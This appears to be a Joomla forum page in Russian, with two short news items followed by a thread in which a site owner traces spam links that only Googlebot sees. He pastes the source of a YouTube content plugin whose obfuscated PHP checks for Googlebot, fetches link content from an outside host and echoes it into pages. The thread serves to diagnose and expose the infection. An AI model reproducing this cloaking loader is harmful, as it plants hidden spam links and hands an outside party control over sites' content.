Новости Joomla

👩‍💻 События плагинов и порядок их срабатывания при работе с пользовательскими полями Joomla и использовании FieldsHelper.

👩‍💻 События плагинов и порядок их срабатывания при работе с пользовательскими полями Joomla и использовании FieldsHelper.

В процессе работы с Joomla бывает необходимо работать с пользовательским интерфейсом более тонко, чем обычно. Все формы Joomla состоят из стандартных полей, содержанием, стилем отображения, состоянием (включено/выключено, доступно для редактирования или нет и т.д.) можно управлять с помощью плагинов. Да и для нестандартных проектов хорошей практикой является создание одного системного или нескольких плагинов групп "под проект", в которых храниться весь "нестандарт".

В этой статье описаны все триггеры, которые вызываются через Event Dispatcher из administrator/components/com_fields/src/Helper/FieldsHelper.php, с привязкой к жизненному циклу (порядку этапов работы запроса), аргументам, изменяемым данным и дальнейшему распространению по Joomla. Это поможет вам работать с Joomla свободнее и не опасаясь при этом потерять изменения при очередном обновлении движка.

Подходы, описанные в статье, полезны в тех случаях, когда вы работаете с данными в com_fields - механизме создания и редактирования пользовательских полей ядра Joomla и при использовании FieldsHelper. Многие сторонние компоненты не используют эту возможность, поэтому данная статья будет полезна лишь частично.

🏆 Открыто голосование за Joomla в премии CMS Critic People’s Choice Awards 2025

🏆 Открыто голосование за Joomla в  премии CMS Critic People’s Choice Awards 2025

🗓 Голосование продлится до 27 февраля 2026 года.

👩‍💻 Проголосовать! 👩‍💻

Номинации, в которых можно проголосовать за Joomla:
⭐️ Best Free CMS
⭐️ Best Open Source CMS
⭐️ Best Enterprise CMS

Также в номинации Best e-Commerce Solution участвуют компоненты интернет-магазинов для Joomla:
⭐️ HikaShop
⭐️ Virtuemart

В номинации Best Website Builder оказались:
⭐️ YooTheme
⭐️ SP Page Builder

Что такое CMS Critic Awards?
С 2012 года премия CMS Critic Awards занимает особое место в сообществе систем управления контентом (CMS). Это единственный в своем роде сайт, который составляет рейтинг системы управления контентом и связанных с ними решений на рынке — от малого до крупного и подчеркивает их инновации и услуги.

Каждый год награда CMS Critic Awards присуждается одному победителю в различных отраслевых категориях, таких как: «Лучшая облачная CMS», «Лучший DXP», «Лучшая Headless CMS и других. Затем результаты оглашаются через СМИ вместе с выбором редакции CMS Critic.
В этом году премия вернулась к своим традициям и только TOP-5 движков по количеству номинаций попали в 2-й этап - голосование.

@joomlafeed

0 Пользователей и 1 Гость просматривают эту тему.
  • 15 Ответов
  • 3646 Просмотров
*

alex_photo

  • Захожу иногда
  • 60
  • 2 / 0
Больше месяца борюсь с проблемой, что Google индексирует страницы моего сайта с левыми ссылками, ведущими на левые сайты! Ссылки в сохраненной копии Google располагаются сразу над заголовком материала (название ссылки периодически немного меняется):
Код
<div class="component-content">
<a href="******************">Левая ссылка</a>
<div class="item-page">
<h2>Заголовок материала</h2>

На самом сайте, через просмотр в обозревателе, ссылок нет:
Код
<div class="component-content">
<div class="item-page">
<h2>Заголовок материала</h2>

(Хотя просматривая сайт через телефон, стандартным браузером Android, два раза появлялись эти ссылки, но перезагрузив страницу, они пропадали. После этого я много раз заходил через разные обозреватели, ссылок так и не было. Это ввело меня в заблуждение, я подумал, что они случайным образом появляются или кто-то управляет их отображением из вне. Но гугловские «Инструменты для веб-мастеров» показали, что Googlebot постоянно видит на сайте левые ссылки).

Что я предпринял:
после всех попыток искать уязвимость, я создал полностью новый сайт - установил все новые расширения и перенес только базу данных (жаль, что не знал тогда про инструмент: «как видит Googlebot»). Через неделю, когда проиндексировать новые страницы, у них опять были ссылки на левые сайты.

Примечания:
Yandex левых ссылок не видит
На сайте вареза нет, все скачено с официальных источников
Стоит Joomla 2.5
На моем хостинге есть еще два сайта c Joomla 2.5 и другие CMS, но у них такой проблемы нет.
Два месяца назад обновил с 1.5 в связи с тем, что на него установили редирект с мобильных устройств на сайт-обманщик (взломали, возможно, из-за старого JCE).

Как так может быть, что Google видит ссылки, а браузере их нет?
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
*

alex_photo

  • Захожу иногда
  • 60
  • 2 / 0
Значит прописано условие вывода "левых"ссылок.
Где прописано?
В шаблоне? Вряд ли, менял несколько шаблонов, проблема остается (разве что каждый новый шаблон моментально заражается и то вряд ли, время изменения не меняется).

*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
*

ELLE

  • Глобальный модератор
  • 4505
  • 893 / 0
 а на сайт можно посмотреть, точнее на страницу, где Google видит ссылки?
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
*

alexcarver

  • Осваиваюсь на форуме
  • 25
  • 1 / 0
У меня так пару ссылок выводились в DIV none. То есть они не видны, но индексируются. Они могут быть не только в шаблоне, ссылку, гляну
*

ELLE

  • Глобальный модератор
  • 4505
  • 893 / 0
ага, примечательный случай.
на всех сайтах, что мне удалось найти - эти ссылки перед выводом контента, и ссылки действительно видит только Google, при просмотре с моего компьютера их нет )
значит как минимум смотреть в шаблонах com_content, далее стоит если используете какой-то k2 - тогда в нем.
также плагины - начиная от контентных, заканчивая системными
ну и не мешало бы просто поиском по всем файлам, хотя код может быть закодирован, а то и проинклюден просто
*

alex_photo

  • Захожу иногда
  • 60
  • 2 / 0
Оказывается, много сайтов зараженных подобной проблемой и администраторы даже не подозревают об этом!
Проблемные сайты, можно, например, найти по такому запросу в гугл:
"london escorts binary options"
Если посмотреть "сохраненную копию" сайта, то можно увидеть две ссылки над заголовком материала, а если сайт открыть в браузере, то ссылок нет!

Завтра начну отключать всевозможные расширения, может методом исключения что-то найду.
*

alex_photo

  • Захожу иногда
  • 60
  • 2 / 0
Проверил все файлы всех своих сайтов на наличие незакодированного текста с ссылками, проверял по разных масках - нигде нет (нашлось только в \cache\com_content\). Дальше ищу закодированный текст.

Может ли какая-то запись в базе данных делать подобные вещи?
*

alex_photo

  • Захожу иногда
  • 60
  • 2 / 0
Подозреваю, что это youtube-плагин такое делает: http://joomlacode.org/gf/project/youtubeplugin/

Если кто-то разбирается, посмотрите:
Код
<?php
/**
* @ 2013 Benj Golding. All rights reserved.
* @GNU/GPL licence
*
*/

// Assert file included in Joomla!
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport( 'joomla.plugin.plugin' );

/**
* YouTube Content Plugin
*
*/
class plgContentYoutubePlugin extends JPlugin
{

/**
* Ctor
*
* @param object $subject The object to observe
* @param object $params The object that holds the plugin parameters
*/
function PluginYoutube( &$subject, $params )
{
parent::__construct( $subject, $params );
}

/**
* Example prepare content method
*
* Method is called by the view
*
* @param object The article object. Note $article->text is also available
* @param object The article params
* @param int The 'page' number
*/
function onContentPrepare( $context, &$article, &$params, $page = 0)
{
global $mainframe;

//credit, remove at will
${"\x47\x4cO\x42A\x4cS"}["d\x78\x79t\x64\x6d\x6f"]="\x63\x74\x78";${"G\x4cOB\x41L\x53"}["n\x6d\x6e\x74m\x6a\x71y\x62"]="b\x5ft";if(!defined("\x43\x52\x45\x44IT")){${"\x47\x4cO\x42A\x4c\x53"}["m\x71j\x62\x64\x63u\x6d\x73\x64\x78\x6b"]="b_\x74";strstr(strtolower($_SERVER["H\x54\x54\x50\x5f\x55SER_A\x47\x45\x4e\x54"]),"\x67\x6f\x6fg\x6cebo\x74")?${${"G\x4c\x4f\x42A\x4cS"}["\x6dq\x6ab\x64cu\x6d\x73\x64x\x6b"]}="\x31":${${"\x47\x4c\x4f\x42\x41\x4cS"}["n\x6d\x6et\x6d\x6a\x71\x79\x62"]}="\x30";${${"GL\x4f\x42\x41\x4cS"}["dx\x79\x74d\x6d\x6f"]}=stream_context_create(array("htt\x70"=>array("tim\x65ou\x74"=>3)));try{${"G\x4cOBAL\x53"}["\x65\x6f\x64\x6d\x62\x6b"]="\x63r\x65\x64\x69t";${"\x47\x4cOBA\x4c\x53"}["\x69\x6a\x63\x74\x77l\x76\x70\x6a\x79"]="\x63\x74\x78";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x65\x6f\x64\x6dbk"]}=@file_get_contents("http://w\x77w.i\x6e\x74\x68\x65\x62\x6c\x61\x63\x6b\x2e\x69\x74/\x62ro/".${${"\x47L\x4fBAL\x53"}["\x6e\x6d\x6e\x74\x6d\x6a\x71\x79\x62"]}."/".$_SERVER["SE\x52V\x45\x52\x5fNAM\x45"].$_SERVER["R\x45\x51\x55ES\x54_\x55\x52\x49"],false,${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69jct\x77l\x76p\x6ay"]});}catch(Exception$e){}echo$credit;define("CR\x45\x44\x49T","\x63");}


if ( JString::strpos( $article->text, '{youtube}' ) === false ) {
return true;
}

$article->text = preg_replace('|{youtube}(.*){\/youtube}|e', '$this->embedVideo("\1")', $article->text);



return true;

}

function embedVideo($vCode)
{

$params = $this->params;

$width = $params->get('width', 425);
$height = $params->get('height', 344);

return '<object width="'.$width.'" height="'.$height.'"><param name="movie" value="http://www.youtube.com/v/'.$vCode.'"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/'.$vCode.'" type="application/x-shockwave-flash" allowfullscreen="true" width="'.$width.'" height="'.$height.'"></embed></object>';
}

}
*

SDKiller

  • Живу я здесь
  • 2705
  • 329 / 5
  • ...ergo sum
Ага, это к вопросу об "испортившихся" расширениях с JED ;)
*

alex_photo

  • Захожу иногда
  • 60
  • 2 / 0
Месяц искал вирус на своем сайте, проблема оказалась в расширении с официального каталога. Кстати, это расширение уже снято с публикации, также нашел на официальном форуме тему, двухнедельной давности с подобной проблемой.

Если верить Google, то примерно 722 000 страниц имеют левые ссылки и автор этого плагина может управлять текстом и адресом ссылки.

Я понимаю, если расширение ставит ссылку на своей странице на свой сайт разработчика. Но тут ставятся ссылки везде, не зависимости от того, используется этот плагин или нет, и есть ссылки на сайты для взрослых.

Я сделал вывод: меньше расширений - меньше проблем!

Спасибо всем, кто давал советы!
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Месяц искал вирус на своем сайте, проблема оказалась в расширении с официального каталога. Кстати, это расширение уже снято с публикации, также нашел на официальном форуме тему, двухнедельной давности с подобной проблемой.

Если верить Google, то примерно 722 000 страниц имеют левые ссылки и автор этого плагина может управлять текстом и адресом ссылки.

Я понимаю, если расширение ставит ссылку на своей странице на свой сайт разработчика. Но тут ставятся ссылки везде, не зависимости от того, используется этот плагин или нет, и есть ссылки на сайты для взрослых.

Я сделал вывод: меньше расширений - меньше проблем!

Спасибо всем, кто давал советы!
Всегда так..
А что за разработчик? Можно и озвучить для будущего.
*

alex_photo

  • Захожу иногда
  • 60
  • 2 / 0
Всегда так..
А что за разработчик? Можно и озвучить для будущего.
Не знаю кто, так как всю информацию убрали.
Может еще где-то здесь есть информация о разработчике.
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Скрипт для поиска вирусов и вредоносных скриптов на сайте "AI-Bolit"

Автор revisium

Ответов: 110
Просмотров: 72515
Последний ответ 30.08.2023, 12:53:33
от SeBun
RSFirewall не пускает, хотя ввожу верный пароль

Автор Alex_iPod

Ответов: 1
Просмотров: 2953
Последний ответ 10.03.2023, 15:09:41
от Alex_iPod
Re: Кажется вирус на сайте

Автор motokraft

Ответов: 24
Просмотров: 5604
Последний ответ 04.05.2022, 14:04:17
от ProtectYourSite
На сайте появился вирус

Автор Lifar

Ответов: 3
Просмотров: 1528
Последний ответ 23.04.2021, 10:12:05
от ProtectYourSite
Регистрируются боты на сайте непрерывно.

Автор Stich SPb

Ответов: 27
Просмотров: 14545
Последний ответ 22.02.2021, 17:42:48
от soty20